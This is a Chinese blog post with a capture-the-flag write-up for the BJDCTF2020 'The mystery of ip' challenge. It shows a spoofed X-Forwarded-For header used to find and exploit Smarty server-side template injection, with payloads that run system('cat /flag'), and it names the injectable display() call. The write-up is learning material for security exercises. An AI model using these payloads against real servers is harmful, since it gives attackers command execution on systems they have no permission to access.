首页 > 其他分享 >[BJDCTF2020]The mystery of ip

[BJDCTF2020]The mystery of ip

时间:2024-08-02 10:56:47浏览次数:14  
标签:mystery Forwarded quot ip smarty BJDCTF2020 config 模板

[BJDCTF2020]The mystery of ip、

参考:PHP的模板注入(Smarty模板)

Step

根据提示,尝试伪造ip

X-Forwarded-For:1

发现回显也是1

所以可能是模板注入,尝试X-Forwarded-For:{config}

回显:

:  Uncaught  --> Smarty Compiler: Syntax error in template "string:{config}"  on line 1 "{config}" unknown tag 'config' <-- 
  thrown in <b>/var/www/html/libs/sysplugins/smarty_internal_templatecompilerbase.php

说明这个是Smarty模板

然后尝试:

查看版本
X-Forwarded-For:{$smarty.version}
获取flag
X-Forwarded-For:{system('cat /flag')}

成功得到flag

形成SSTI的代码是:

$smarty->display("string:".$ip)      // display函数把标签替换成对象的php变量;显示模板

标签:mystery,Forwarded,quot,ip,smarty,BJDCTF2020,config,模板
From: https://www.cnblogs.com/bolerat/p/18338298

相关文章

  • HCIP笔记2
    网络类型:1.点到点:在一个网段内,只能存在两个物理节点MA-多路访问--在一个网段内物理节点的数量不限制MA---BMA NBMA2.BMA--广播型多路访问3.NBMA--非广播型多路访问注:不同网络类型实际为不同的数据链路层技术;由于二层同时作为了物理层的大脑;故当选择不同的数据链路层技......
  • UFS4.0/UFS3.1/Unipro总线协议分析仪
    UFS4.0/UFS3.1/Unipro总线协议分析仪(Analyzer)&训练器(Exerciser):全球市场占有率排名第一的UFS/Unipro总线协议分析仪厂商,支持MIPIM-PHYv5.0GEAR5,UniProv2.0andUFSv4.0等规格测试并支持向下兼容。ProtocolInsight为开发移动设备的客户提供测试和测量工具,并为UFS的......
  • PYSWIP 无法在 pyinstaller 可执行文件中工作
    我用TKINKTER和PYSWIP用python和prolog完成了一个项目。当使用“pyinstaller-w--onefilemain.py”创建可执行文件时,它给我一个错误,因为它没有使用PYSWIP库。如何将此包导入到我的可执行文件中?注意:Pyswip是通过pip安装的[1以下是解决“PyInstaller......
  • 当在 Windows 中使用 AWSCLI2 msi 安装程序安装另一个 awscli 并通过 pip install aws
    我在“ProgramFiles\Amazon\AWSCLI2”中看到一个aws,然后在“ProgramFiles\Python312”中看到另一个aws?AWSCLI22之前已安装,我还通过pipinstall安装了awscli。我还尝试创建一个别名就像另一个线程中建议的那样,但不起作用。aliasaws='aws.cmd'当同时通......
  • JavaScript (八)——JavaScript 作用域和事件
    目录JavaScript 作用域JavaScript局部作用域JavaScript全局变量JavaScript变量生命周期HTML中的全局变量JavaScript 事件HTML事件常见的HTML事件JavaScript可以做什么?JavaScript 作用域作用域是可访问变量的集合。在JavaScript中,作用域为可访问变......
  • JavaScript(十二)——JavaScript for 循环和while循环
    目录JavaScript for循环不同类型的循环For循环For/In循环JavaScript while循环while循环语法实例do/while循环语法实例比较for和whileJavaScript for循环循环可以规定代码块执行指定的次数。不同类型的循环JavaScript支持不同类型的循环:for......
  • 无敌DataGrip
    jetbrains一款重磅产品——DataGrip这款产品是付费的,不过网上有许多破解补丁和教程,具体自己搜。接下来说说这款产品:     众所周知(从名字中)这是一款数据库工具软件,它跟什么DBeaver之类的不太一样    DBeaver对于大数据库和复杂查询速度较慢,界面对初学者......
  • 洛谷 P1052 [NOIP2005 提高组] 过河
    原题https://www.luogu.com.cn/problem/P1052题目描述在河上有一座独木桥,一只青蛙想沿着独木桥从河的一侧跳到另一侧。在桥上有一些石子,青蛙很讨厌踩在这些石子上。由于桥的长度和青蛙一次跳过的距离都是正整数,我们可以把独木桥上青蛙可能到达的点看成数轴上的一串整点:1,⋯,L......
  • javascript学习 - 函数介绍
    函数简介编程时,可能会定义许多相同或者功能相似的代码,此时我们每需要使用一次,就需要重写编写一次。虽然利用循环结构也能够实现一些简单的重复操作,但是功能较为局限。此时,我们就需要使用到JavaScript中的函数。所谓函数,就是通过将一段可以重复调用的代码块进行封装,从而......
  • javascript学习 - 面向对象
    什么是对象之前学习的数据类型在存储一些复杂的信息时,十分不方便,而且也难以区分。为此,为了更加详细方便的描述某一个事物,因而提出面向对象的概念。那什么是对象呢?所谓对象,也是JavaScript中的一种数据类型,可以看做是一系列无序数据的集合。有了对象,就可以用来描述某一......